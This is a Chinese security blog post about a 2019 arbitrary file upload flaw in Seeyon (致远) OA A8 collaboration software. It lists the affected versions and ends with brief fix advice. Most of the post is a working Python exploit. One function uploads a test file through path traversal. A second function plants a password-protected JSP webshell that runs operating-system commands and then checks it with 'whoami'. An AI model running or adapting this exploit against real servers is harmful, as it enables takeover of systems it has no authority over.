致远OA getshell POC&EXP
- 发表于
- Vulndb
致远OA getshell
2019年6月26日,网络中出现致远OA的0day漏洞信息。
该漏洞可造成任意文件上传,恶意攻击者通过精心构造POST数据来上传JSP Webshell,提升服务器权限,从而控制服务器或对系统造成破坏。
漏洞等级
高
影响版本
- 致远A8-V5协同管理软件 V6.1sp1
- 致远A8+协同管理软件 V7.0、V7.0sp1、V7.0sp2、V7.0sp3
- 致远A8+协同管理软件 V7.1
确认是否存在漏洞
查看 "seeyon/htmlofficeservlet"
,出现如下内容则表示存在漏洞
致远OA getshell POC&EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 |
#!/usr/bin/env python # -*- coding: utf-8 -*- import time import random import string import requests info = { "name": "致远 A8 可 getshell", "author": "reber", "version": "致远A8-V5协同管理软件V6.1sp1、致远A8+协同管理软件V7.0、V7.0sp1、V7.0sp2、V7.0sp3、V7.1", "type": "file_upload", "level": "high", "result": "", "status": False, "references": "<url>", "desc": "<vul describtion>", } def assign(service, arg): if service == 'seeyon': return True, arg def encode(origin_bytes): """ 重构 base64 编码函数 """ # 将每一位bytes转换为二进制字符串 base64_charset = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6" base64_bytes = ['{:0>8}'.format(bin(ord(b)).replace('0b', '')) for b in origin_bytes] resp = '' nums = len(base64_bytes) // 3 remain = len(base64_bytes) % 3 integral_part = base64_bytes[0:3 * nums] while integral_part: # 取三个字节,以每6比特,转换为4个整数 tmp_unit = ''.join(integral_part[0:3]) tmp_unit = [int(tmp_unit[x: x + 6], 2) for x in [0, 6, 12, 18]] # 取对应base64字符 resp += ''.join([base64_charset[i] for i in tmp_unit]) integral_part = integral_part[3:] if remain: # 补齐三个字节,每个字节补充 0000 0000 remain_part = ''.join(base64_bytes[3 * nums:]) + (3 - remain) * '0' * 8 # 取三个字节,以每6比特,转换为4个整数 # 剩余1字节可构造2个base64字符,补充==;剩余2字节可构造3个base64字符,补充= tmp_unit = [int(remain_part[x: x + 6], 2) for x in [0, 6, 12, 18]][:remain + 1] resp += ''.join([base64_charset[i] for i in tmp_unit]) + (3 - remain) * '=' return resp def verify(arg): url = arg + "/seeyon/htmlofficeservlet" tmp_random_str = ''.join(random.sample(string.letters+string.digits, 10)) headers = { "Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Length": "429", } file_name = encode('..\\..\\..\\ApacheJetspeed\\webapps\\seeyon\\shXi3GAEuT.txt') payload = "DBSTEP V3.0 355 0 10 DBSTEP=OKMLlKlV\r\n" payload += "OPTION=S3WYOSWLBSGr\r\n" payload += "currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66\r\n" payload += "CREATEDATE=wUghPB3szB3Xwg66\r\n" payload += "RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6\r\n" payload += "originalFileId=wV66\r\n" payload += "originalCreateDate=wUghPB3szB3Xwg66\r\n" payload += "FILENAME={}\r\n".format(file_name) payload += "needReadFile=yRWZdAS6\r\n" payload += "originalCreateDate=wLSGP4oEzLKAz4=iz=66\r\n" payload += "a{}".format(tmp_random_str) try: requests.post(url=url, data=payload, headers=headers) upfile_url = arg+"/seeyon/shXi3GAEuT.txt" time.sleep(2) resp = requests.get(url=upfile_url) code = resp.status_code content = resp.text except Exception as e: # print str(e) pass else: if code==200 and tmp_random_str[1:] in content: info['status'] = True info['result'] = "{} 可直接getshell, 测试文件路径: {}".format(arg,upfile_url) def attack(arg): url = arg + "/seeyon/htmlofficeservlet" headers = { "Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Length": "429", } file_name = encode('..\\..\\..\\ApacheJetspeed\\webapps\\seeyon\\qwer960452.jsp') payload = """DBSTEP V3.0 355 0 666 DBSTEP=OKMLlKlV\r OPTION=S3WYOSWLBSGr\r currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66\r CREATEDATE=wUghPB3szB3Xwg66\r RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6\r originalFileId=wV66\r originalCreateDate=wUghPB3szB3Xwg66\r FILENAME="""+file_name+"""\r needReadFile=yRWZdAS6\r originalCreateDate=wLSGP4oEzLKAz4=iz=66\r <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("el38A9485".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce""" requests.post(url=url, data=payload, headers=headers) resp = requests.get(arg+'/seeyon/qwer960452.jsp?pwd=el38A9485&cmd=cmd+/c+echo+ekwjkjrwre') if 'ekwjkjrwre' in resp.text: print "{} 的 webshell 路径: {}".format(arg,arg+'/seeyon/qwer960452.jsp?pwd=el38A9485&cmd=cmd+/c+whoami') |
修复建议
- 通过 ACL 禁止外网对“
/seeyon/htmlofficeservlet
”路径的访问。 - 官方补丁
- 请尽快联系致远官方,索要官方漏洞补丁程序。
作者:wyb0 via
原文连接:致远OA getshell POC&EXP
所有媒体,可在保留署名、
原文连接
的情况下转载,若非则不得使用我方内容。